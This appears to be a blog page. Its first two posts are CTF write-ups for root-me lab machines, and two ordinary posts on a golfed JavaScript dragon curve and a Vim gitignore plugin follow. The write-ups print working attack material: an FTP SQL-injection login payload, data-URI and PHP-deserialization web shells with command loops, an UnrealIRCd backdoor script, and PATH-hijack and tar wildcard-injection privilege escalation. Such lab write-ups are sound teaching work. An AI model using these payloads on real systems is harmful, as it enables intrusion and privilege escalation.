Writeup by npny and nobe4.

nmap reveals the following open ports: 21,22, 80.

The HTTP does not reveal anything special, static HTML.

On the ports 21 and 22 the default/basic username don’t work.

We can see the FTP on port 21 is an old ftpd version with the mod_sql activated.

From various links we understand that there is a SQL injection on this plugin that allow a user to login without valid credentials.

Using the code on this exploit doesn’t work but changing the -- with # (another comment symbol) works, the payload is:

username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users;#
password: 1

It seems the FTP is in passive mode, which doesn’t really matter, but was interesting to understand. Now we are logged in, we can see what is available in the FTP:

ftp> ls /
---> PORT 192,168,1,72,249,154
200 PORT command successful
---> LIST /
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 root     root         4096 Mar  5  2013 0f756638e0737f4a0de1c53bf8937a08
-rw-r--r--   1 root     root       235423 Mar  5  2013 artwork.jpg
-rw-r--r--   1 root     root          130 Mar  5  2013 index.html
226 Transfer complete.

We can’t get any file as the are owned by root, but we can see a hidden directory 0f756638e0737f4a0de1c53bf8937a08, accessible by HTTP:


Poking around shows quickly that the rendering is done with a inclusion of file, via the page GET parameter:


We can even include non-PHP file:


We tried a two exploits on this inclusion, but none worked…

Then we discovered that we could use data: with the include function.

The first example worked on the URL:


We created a bash script to handle this:

while printf "\n> "; read line; do;
    curl -s `
        printf "http://ctf06.root-me.org/0f756638e0737f4a0de1c53bf8937a08/index.php?page=data:text/plain;base64,"
        printf "<?php echo shell_exec('$line'); ?>" | base64
    ` |\
    tr '\n' '\r' | sed -e "s@.*<div id=\"content\">@@g" -e "s@</div>.*@@g" | tr '\r' '\n'

Now we have a shell access to the server.

> ls -la /home/mauk
total 28
drwxr-xr-x. 3 mauk mauk 4096 Jul  9  2013 .
drwxr-xr-x. 4 root root 4096 Feb 25  2013 ..
-rw-------. 1 mauk mauk   70 Jul  9  2013 .bash_history
-rw-r--r--. 1 mauk mauk   18 Apr 23  2012 .bash_logout
-rw-r--r--. 1 mauk mauk  193 Apr 23  2012 .bash_profile
-rw-r--r--. 1 mauk mauk  124 Apr 23  2012 .bashrc
drwxr-xr-x. 2 mauk mauk 4096 Jul  9  2013 .ssh

>  ls -la /home/mauk/.ssh/
total 20
drwxr-xr-x. 2 mauk mauk 4096 Jul  9  2013 .
drwxr-xr-x. 3 mauk mauk 4096 Jul  9  2013 ..
-rw-r--r--. 1 mauk mauk  397 Feb 24  2013 authorized_keys
-rw-r--r--. 1 mauk mauk 1679 Feb 24  2013 id_rsa
-rw-r--r--. 1 mauk mauk  397 Feb 24  2013 id_rsa.pub

> cat /home/mauk/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmyb+scegJpO2dynsMJIgmVadSD17J+kndzMifXxTWW/llB/T3IZoPFp+5qV2lcI0yjfaZV
vF7DJ25a5Lki4U93F9weS3RxDuF7QBge6TmigIjhxrcHTFxJkgtar mauk@Relativity

> cat /home/mauk/.ssh/id_rsa

> cat /home/mauk/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmyb+scegJpO2dynsMJIgmVadSD17J+kndzMifXxTWW/llB/T3IZoPFp+5qV2lcI0yjfaZV
vF7DJ25a5Lki4U93F9weS3RxDuF7QBge6TmigIjhxrcHTFxJkgtar mauk@Relativity

We even have access to the private ssh key, and we now that the current ssh user (mauk) is registered in the authorized_keys, so we can use the private key to connect without password:

ssh -i private.key mauk@ctf06.root-me.org

Nothing could be found in the user directory, but we have access to the history:

1  ssh -f root@ -R 6667: -N
2  su -
3  exit
4  su -

We can see an ssh -f root@ -R 6667: -N line in the history, and ircd in the running processes, which both hint to a locally running irc server (6667 is the irc port).

ps aux | grep irc
-> jetta      577  0.0  0.2  24192  2612 ?        S    09:11   0:00 /opt/Unreal/src/ircd

We could try talking to it, but unfortunately there is no netcat or telnet available on this machine. However, perl is available, and sure enough here’s a one-liner replacement for netcat:

perl -MFcntl=F_SETFL,F_GETFL,O_NONBLOCK -MSocket '-e$0=perl;socket($c,AF_INET,SOCK_STREAM,0)&&connect($c,sockaddr_in$ARGV[1],inet_aton$ARGV[0])||die$!;fcntl$_,F_SETFL,O_NONBLOCK|fcntl$_,F_GETFL,0 for@d=(*STDIN,$c),@e=($c,*STDOUT);L:for(0,1){sysread($d[$_],$f,8**5)||exit and$f[$_].=$f if vec$g,$_*($h=fileno$c),1;substr$f[$_],0,syswrite($e[$_],$f[$_],8**5),"";vec($g,$_*$h,1)=($i=length$f[$_]<8**5);vec($j,$_||$h,1)=!!$i}select$g,$j,$k,5;goto L'

Now we can connect to the (still running) irc server and get some info:

./nc 6667
NICK mauk
USER mauk 0 * :mauk

:relativity.localdomain 371 mk :=-=-=-= Unreal3.2.8.1 =-=-=-=
:relativity.localdomain 371 mk :| This release was brought to you by the following people:
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Coders:
:relativity.localdomain 371 mk :| * Syzop        <syzop@unrealircd.com>
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Contributors:
:relativity.localdomain 371 mk :| * aquanight    <aquanight@unrealircd.com>
:relativity.localdomain 371 mk :| * WolfSage     <wolfsage@unrealircd.com>
:relativity.localdomain 371 mk :| * Stealth, tabrisnet, Bock, fbi
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| RC Testers:
:relativity.localdomain 371 mk :| * Bock, Apocalypse, StrawberryKittens, wax, Elemental,
:relativity.localdomain 371 mk :|   Golden|Wolf, and everyone else who tested the RC's
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Past UnrealIRCd3.2* coders/contributors:
:relativity.localdomain 371 mk :| * Stskeeps (ret. head coder / project leader)
:relativity.localdomain 371 mk :| * codemastr (ret. u3.2 head coder)
:relativity.localdomain 371 mk :| * McSkaf, Zogg, NiQuiL, chasm, llthangel, nighthawk, ..
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Credits - Type /Credits
:relativity.localdomain 371 mk :| DALnet Credits - Type /DalInfo
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| This is an UnrealIRCd-style server
:relativity.localdomain 371 mk :| If you find any bugs, please report them at:
:relativity.localdomain 371 mk :|  http://bugs.unrealircd.org/
:relativity.localdomain 371 mk :| UnrealIRCd Homepage: http://www.unrealircd.com
:relativity.localdomain 371 mk :-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
:relativity.localdomain 371 mk :Birth Date: Thu Feb 28 2013 at 17:54:35 EST, compile # 1
:relativity.localdomain 371 mk :On-line since Sat Nov 26 09:11:48 2016
:relativity.localdomain 371 mk :ReleaseID ( 2009/04/13 11:03:55)
:relativity.localdomain 374 mk :End of /INFO list.

:relativity.localdomain 351 mk Unreal3.2.8.1. relativity.localdomain :FhiXOoE [*=2309]
:relativity.localdomain 005 mk UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
:relativity.localdomain 005 mk WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=Relativity CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
:relativity.localdomain 005 mk EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server

Knowing this is an Unreal3.2.8.1 IRC server, we quickly find out about an RCE exploit:

use Socket;
use IO::Socket;

my $command = $ARGV[0];
my $payload = 'AB;'.$command;
my $host = "";
my $port = "6667";

my $sockd = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
print "Sending: ". $payload . "\n";
print $sockd "$payload";

Running this exploit confirms that we can run things and create files as the jetta user (the one that launched ircd) The first order of things is to make our life easier and allow us to ssh as jetta directly:

perl exploit.pl 'mkdir /home/jetta/.ssh'
cp /home/mauk/.ssh/authorized_keys /tmp/
perl exploit.pl 'cp /tmp/authorized_keys /home/jetta/.ssh/'

We can now ssh to the machine directly as the jetta user:

ssh -i privatekey jetta@ctf01.root-me.org

Looking around we find that there’s an auth_server binary in the home directory :

[jetta@Relativity auth_server]$ ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
/ In America, it's not how much an item \
\ costs, it's how much you save.        /
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

[jetta@Relativity auth_server]$ sudo -l
Matching Defaults entries for jetta on this host:

User jetta may run the following commands on this host:
    (root) NOPASSWD: /home/jetta/auth_server/auth_server

The binary seems to be executing some certificates checks and output a message through cowsay.

We see that we can run the auth_server binary as root without providing any password:

sudo ./auth_server


[jetta@Relativity auth_server]$ strings auth_server
l$ L
[+] Checking Certificates...
[+] Contacting server, please wait...
could not establish connection
invalid certificates
error: (12)
fortune -s | /usr/bin/cowsay
Starting Auth server..

We can see that the call for fortune is not absolute path, so we can change the binary by modifying the path:

We can change the path to use the “local” fortune script this way:

PATH=/home/jetta:$PATH ./auth_server

Now we can create a POC to test if the fortune override works:

print 'a'

Checking this for jetta and sudo:

[jetta@Relativity auth_server]$ PATH=/home/jetta:$PATH ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
< a >
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[jetta@Relativity auth_server]$ PATH=/home/jetta:$PATH sudo ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
< a >
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Nice, we can then use this to read the content of the /passwd file:

cat /passwd


[jetta@Relativity auth_server]$ PATH=/home/jetta:$PATH sudo ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
< b67def6bcb2112a963a3ade37773650e >
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Writeup by npny and nobe4.

Firstly, we run nmap against the website, to discover that (among others), the ports 80 and 22 are open.

SSH doesn’t yield any results, and we try, without luck, a possible exploit against the used version.

HTTP is a lot more interesting:

An HTTP password is asked when trying to access the main page. After a few random try on the different HTTP verbs we try to access the default index.php file, which seems to have the same security. But, making a POST request on the file returned a valid HTML page. Nice!

We can see in this web page a some useful information:

  • there is a javascript file in the subdirectory scriptz
  • there is an image in the subdirectory images

Both directories are not protected and can be accessed and listed.

Moreover, it seems that the file has a link that make a POST request and display some information on painters. One crucial note is that the POST request is made using a serialize function that (after study) serialize a javascript object into a format that PHP can unserialize. A copy of the script can be found here.

The information sent to the server is an object Info.

The images contains only the image of La trahison des images, a famous painting by René Magritte. Nothing more here.

The scriptz folder contains the php.js script as well as a log.php.BAK file.

class Log
    public $filename = '';
    public $data = '';

    public function __construct()
        $this->filename = '';
        $this->data = '';

    public function PrintLog()
        $pre = "[LOG]";
        $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");

    public function __destruct() {
      file_put_contents($this->filename, $this->data, FILE_APPEND);

It seems that this file define a simple logging class in PHP. We are not sure what to do with yet…

But, we can combine this class and use it instead of the Info one in the POST request. Using the following script:

import requests

#  original info object
#  payload = 'O:4:"Info":4:{' \
        #  + 's:2:"id";'\
        #  + 'i:1;'\
        #  + 's:9:"firstname";'\
        #  + 's:4:"Rene";'\
        #  + 's:7:"surname";'\
        #  + 's:8:"Margitte";'\
        #  + 's:7:"artwork";'\
        #  + 's:23:"The Treachery of Images";'\
        #  + '}'

# new Log payload
payload = 'O:3:"Log":2:{' \
        + 's:8:"filename";'\
        + 's:27:"/var/www/html/scriptz/b.php";'\
        + 's:4:"data";'\
        + 's:39:"<?php echo shell_exec($_GET["cmd"]); ?>";'\
        + '}'

data = { 'param': payload }

r = requests.post("http://ctf01.root-me.org/index.php", data=data)
print r.content

What will happen here is the following:

  • The Log string will be unserialized by the PHP server script.
  • During this step, the filename and data fields will be saved to a set of defined values.
  • When the object is destroyed, the content of data will be written in the file filename.

We had to figure out the directory to use. After some research, we figured out the default Apache folder is used.

The payload is a simple web shell and will be placed in the folder scriptz.

Now, we must find something to do with this shell, first of, the following script enhance the usage of the web shell:

import requests

base = 'http://ctf01.root-me.org/scriptz/b.php'

while True:
    r = requests.get(base, params = {'cmd': cmd})
    print r.content
    cmd = raw_input('> ')

This very simple script will get the web page, passing the command as a GET argument and display the result.

We immediately check for the /passwd file, which is, unfortunately, accessible only by the root user.

After some time looking around, we can see that the files in /home/rene/backups are constantly updated. It seems that a backup file is created every minute, and every 5 minutes the 5 backups are compressed together.

Checking the /etc/crontab file confirm this, two scripts are running, both as root, this could be the way to leverage the passwd file.

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh

A detail that is interesting, is that both scripts are run as root, but one of them is readable:


rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK

The interesting part of the script is the line:

tar cfz /home/rene/backup/backup.tar.gz *

Indeed, there is a vulnerability concerning this *. If a file or a directory is name like a flag, the command that use the * will treat the filename as a flag.

As an example:

$ touch a b c -la
$ ls
a b c -la
$ ls *
-rw-r--r--  1 user  group  0 Nov 17 18:23 a
-rw-r--r--  1 user  group  0 Nov 17 18:23 b
-rw-r--r--  1 user  group  0 Nov 17 18:23 c

This issue is discussed in this paper.

Now the command that need to be exploited is tar, its man page (and the previous paper) gives us the next step:


We now need to find the command we want to execute.

To make this step easier, we decided to use a script file on the server to that will be run by root, we thus need to create a file named:

--checkpoint-action=exec=sh shell.sh

Of course, the space in the filename has to be escaped, otherwise the execution will only run sh:

touch home/rene/backup/--checkpoint-action=exec=sh\ script.sh

The script.sh will contain the following code, which copy the content file into an accessible file, and will change the permission on it, so that anyone can read it:

cat /passwd > /var/www/html/scriptz/passwd && chmod a+r /var/www/html/scriptz/passwd

Then we just need to check the file from the browser and we get the flag.

Golfed Dragon's Curve

Little dragon’s curve.

I got bored on a rainy Sunday and I thought I would try to mix mathematic and JavaScript.

I love fractals and I saw neat golfed examples of what you can do with the canvas (e.g. this 128 bytes dragon’s curve), so I tried to create a simple dragon’s curve generation visualisation.

My attempt displays splittings of the initial segment as it gradually turns into a curve.

Here is the full code. To make it work, you need a fixed-size canvas whose id is a (demo at the end).

// Canvas properties
c = a.getContext('2d');
W = a.width;
H = a.height;

// Starting points

// Map each key to a number
for(x in c){c[j++]=c[x]}

  // Draw lines

  // Create new separation

  // Update index and length

  // Breakpoint

Let’s break it down:

The first part create variables used during the generation:

  • c the canvas’s context
  • W the canvas’s width
  • H the canvas’s height

All points are vectors, the x is represented with the first element and y with the second. The starting point of the generation is a simple line, going from the first third to the last third of the canvas.

  • j is a general increment value
  • l the length of the curve
  • i the current index in the curve

I use four functions of the canvas’s context: c.clearRect, c.beginPath, c.stroke and c.lineTo. But with the following piece of code I can call c[31], c[34] and so on:

for(x in c){c[j++]=c[x]}

Next we define our interval which will act as the rendering loop. We store it in a variable to be able to stop it later, but this can be omitted.

The first part of the loop draw the current state, all lines between the points.

This erase everything in the canvas, giving us a fresh start.


We are drawing a path, i.e. a continuous line on the canvas. Those two instructions start and finish the line.

// ...

Now the fun part, let’s start by decomposing the loop:

for(j = l; j-- > 0;) {

We are iterating through the whole point array, from last to first, creating a new line each time.

The j-- > 0 is simplified to j-- since 0 is falsy.

The c.line part is inserted in the for statement.

We are only generating a new point at a time, in order to produce the growth animation.

To insert a new element in the array at position i, we use the splice method:

p.splice(i,0, new_element)

We call a function that use the current and previous element to generate the new points. d is the direction of the rotation, which alternate between 1 and -1, depending on the current index.

  (p,b,d) => [x, y]

The new element use the matrix transformation operation (defined here), but simplified to perform both rotation at the same time:


The actual formulas are:

xc = 1/2 * ( xa + ya + xb - yb )
yc = 1/2 * ( - xa + ya + xb + yb )


xc = 1/2 * ( xa - ya + xb + yb )
yc = 1/2 * ( xa + ya - xb + yb )

Using the d variable we can factor them.

Now we update our variables:

i = (i+=2) > ++l ? 1 : i;
  • l is incremented, since we just added a new point in the array
  • i grow two by two and when it gets bigger than l, it goes back to one

We increment the current index by two because, as we want to proceed the next element in the array, we just added a new one. And we never proceed the first element since the matrix operations are done on the nth and nth-1 elements.

You can try it below (will only work on chrome, see below for more details):

Compatibility note: The name to number hack for the canvas context make this works only on chrome. The other browsers does not have the same ordering.

i.e. with Chrome, Firefox and Safari: compatibility

Using the snippet:

for(a in document.createElement('canvas').getContext('2d')){
  console.log(i++, a);

You can change de corresponding code with the following:

  c.clearRect c.beginPath c.stroke c.lineTo
Firefox 11 14 16 32
Safari 34 36 47 39


One workflow I came across a lot during my programing days is the following:

git status
vi .gitignore
# [Edition ...]
git status
vi .gitignore
# [Edition ...]
git status
git commit

I don’t usually create the best gitignore pattern on the first time, so I need to test multiple times for correctness.

Wait, that seems to be a lot of repetition ! Let’s create a vim plugin !

Git ignore

To check which files are considered by Vim, you can use the git ls-files command.

The options that interest us are:

  • --others: show files that are not tracked by git
  • --ignored: show only ignored files
  • --exclude-from=<file>: read the exclude patterns from the <file>


$ git ls-file --others --ignored --exclude-from=.gitignore

This will show all files normally excluded by git, as we read the exclude patterns from the .gitignore file.

Plugin organisation

The plugin is straightforward and runs as follow:

  • Open a new buffer
  • Export the first line as the excluded pattern
  • Insert the excluded files list in the buffer

We choose to create a file in the /tmp folder and to read/write from here. The file path is stored in the s:gitignore_file variable.

Write the pattern

This part is simple as vim provides us the getline function that fetchs the line in the current buffer.

To write it to the gitignore file, we can use the common echo method from bash along with the operator > to override the file.

let l:line = getline(1)
let l:export_command = "echo '".l:line."' > ".s:gitignore_file
call system(l:export_command)

Note: at first I didn’t put enclosing '' to the content of the line. But in zsh, some patterns expanded before writting to the file. e.g. * expanded to all file in the current folder.

Read the excluded files

To read an external command, vim has mutliple solutions. I tried to use the :read! command but I found out the :systemlist was better for my case.

The systemlist command runs a system command and returns its output as a list, whereas the system command returns it as a string. It is more practical to this case because we will get a list of files.

Then to insert it in the document, the setline command can take a list as second argument (the content to be inserted), it is exactly what we need. We can now insert the files at the second line to refresh the document.

let l:gitignore_command = 'git ls-files --others --ignored --exclude-from='.s:gitignore_file
let l:result = systemlist(l:gitignore_command)
call setline(2, l:result)

Clear the file

The last step we need to complete the plugin is to clear the file between reload. The main issue here is to do so without moving the cursor.

The simplest solution is :2,$d, but it changes the cursor position. Instead, we can use the setline command to set blank lines to all lines. Then when inserting the new excluded files, we may have blank line at the end of the file, but at least the cursor don’t move.

To do so we build an array of empty strings to be inserted on all lines from the second line to the last one and insert it with setline.

let l:current_line = 1
let l:last_line = line('$')
let l:reset_lines = []

while l:current_line < l:last_line
  let l:reset_lines += ['']
  let l:current_line += 1

call setline(2, l:reset_lines)


I already saw some improvements I could make to speed up the process. Building only one array, adding the existing gitignore option to prevent matching files already excluded, … I will consider adding them later.


You can check an example of use here:


Please feel free to leave a comment or go see the project on github

Vim Syntax Generator

When you feel like knowing all this syntax stuff, perhaps write a blog post ;)

I may not know everything about the syntax mechanisms in Vim, but at least I’ll share what I understood building a syntax file generator.

Read more ...